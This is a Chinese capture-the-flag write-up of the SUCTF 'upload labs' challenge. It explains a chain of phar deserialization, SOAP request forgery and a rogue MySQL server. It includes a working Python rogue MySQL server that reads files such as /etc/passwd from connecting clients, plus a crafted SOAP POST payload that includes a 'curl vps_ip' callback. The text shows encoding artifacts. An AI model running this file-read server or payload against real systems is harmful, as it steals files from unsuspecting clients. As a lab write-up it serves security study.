結合suctf-upload labs-RougeMysql再學習

這篇主要記錄一下這道題目的預期解法php

作這道題首先要在本身的vps搭建一個rouge mysql,裏面要填寫須要讀取客戶端的文件名,即咱們上傳的phar文件路徑html

先搭一個rouge mysql測試看看:python

#coding=utf-8
#python2.x
import socket import logging logging.basicConfig(level=logging.DEBUG) #filename="phar:///var/www/html/upload/bdb01307672a35c91848f1c1d093c343/d01deaab382af320bb80e16efc8ecd78.gif" filename="/etc/passwd" sv=socket.socket() sv.bind(("",3306)) sv.listen(5) conn,address=sv.accept() logging.info('Conn from: %r', address) conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00") conn.recv(9999) logging.info("auth okay") conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00") conn.recv(9999) logging.info("want file...") wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename conn.sendall(wantfile) content=conn.recv(9999) logging.info(content) conn.close()

首先嚐試讀一個/etc/passwd看看mysql

此時只須要在服務器啓動rouge mysql便可sql

此時能夠看到服務器已經監聽了3306端口等待客戶端的鏈接docker

咱們依照如下mysql客戶端的配置來構造payload:數據庫

客戶端選擇mysqli類數組

$m = new mysqli(); 
$m->init();
$m->real_connect('vps_ip','select 1','select 1','select 1',3306);
$m->query('select 1;');

這裏只須要配置ip和端口接口服務器

接下來就可以讀取到客戶端的/etc/passwd文件了,那麼只須要修改一下soap請求中的post參數便可,修改爲客戶端鏈接rouge mysql的參數形式curl

那麼對應的soap請求中的post參數改成:

'admin=1&cmd=curl vps_ip&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=vps_ip&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select 1'

而後上傳phar文件:

此時將獲得回顯一個回顯路徑:

那麼此時再上傳第二個phar文件,由於此時在rouge mysql上須要給客戶端發送讀取phar文件,這時客戶端纔會打開這個phar文件,從而觸發有漏洞的stream,致使反序列化,

 

因此此時須要新建一個phar文件,那麼確定要存在待會要反序列化的Ad類,而後生成phar上傳,將會獲得一個新的phar路徑,這個就是咱們要在rouge mysql上配置的要讀取的文件路徑

而後咱們此時再訪問咱們上傳的第一個phar文件,就可以打通整個攻擊鏈了,這裏和zedd師傅交流了,須要對源代碼進行一個小的修改

在調用反射類實現的real_connect方法時參數實際上爲5個參數,對應着ip,數據庫用戶名、數據庫密碼、數據庫名,端口,因此不可以直接以數據傳進去,因此這裏須要改爲

invode($this->instance,$this->arg2[0],$this->arg2[1],$this->arg2[2],$this->arg2[3],$this->arg2[4])

而後再回到func.php來觸發漏洞,爲了方便測試,我在本地裏面寫的wakeup函數是curl vps的端口

那麼觸發phar之後,vps的rouge mysql將接受到客戶端的請求,而且此時vps監聽的端口也將收到curl請求,整個攻擊鏈都打通了

 梳理一下這個題目的流程:

1.首先bypass協議限制,構造phar包

2.構造soap請求admin.php,觸發Ad類中的反射類

3.rouge mysql 客戶端文件任意讀取

整個攻擊流程用到了兩次phar反序列化

第一次phar反序列化,觸發File類

類中__wakeup函數來反射一個soap類,調用check函數觸發請求,這裏exp中file_name構造爲一個數組傳入$this->file_name是能夠的,實際上就看成是構造函數的參數了能夠分解爲兩個參數,由於soap請求第一個參數要爲null,即非wsdl型,第二個參數纔是注入post請求的參數

第二次mysql本地讀取文件時形成phar反序列化,觸發Ad類__wakeup函數觸發getflag

這裏payload傳入的時候就不能直接傳入一個數組了,

這裏invoke其實是調用類中的方法,第一個參數就是實例化的mysqli對象,第二個參數就是傳給要調用的$reflectionMethod的參數,這裏不能用數組。

因此整個攻擊鏈就分析完了,仍是踩了很多坑:

1.docker裏面直接docker-compose up -d起來,soap發送請求時要修改一下ip和端口,要是默認是127.0.0.1:9025端口這樣是訪問不到127.0.0.1:9025/admin.php的,必須修改成docker容器的ip地址

那麼對應的驗證是否爲127.0.0.1的地方也要修改一下,修改成

這樣本地才能夠跑通,rouge mysql的攻擊面實際上在cms裏面也還有不少,有興趣的話能夠結合cms好好研究研究 

相關文章
相關標籤/搜索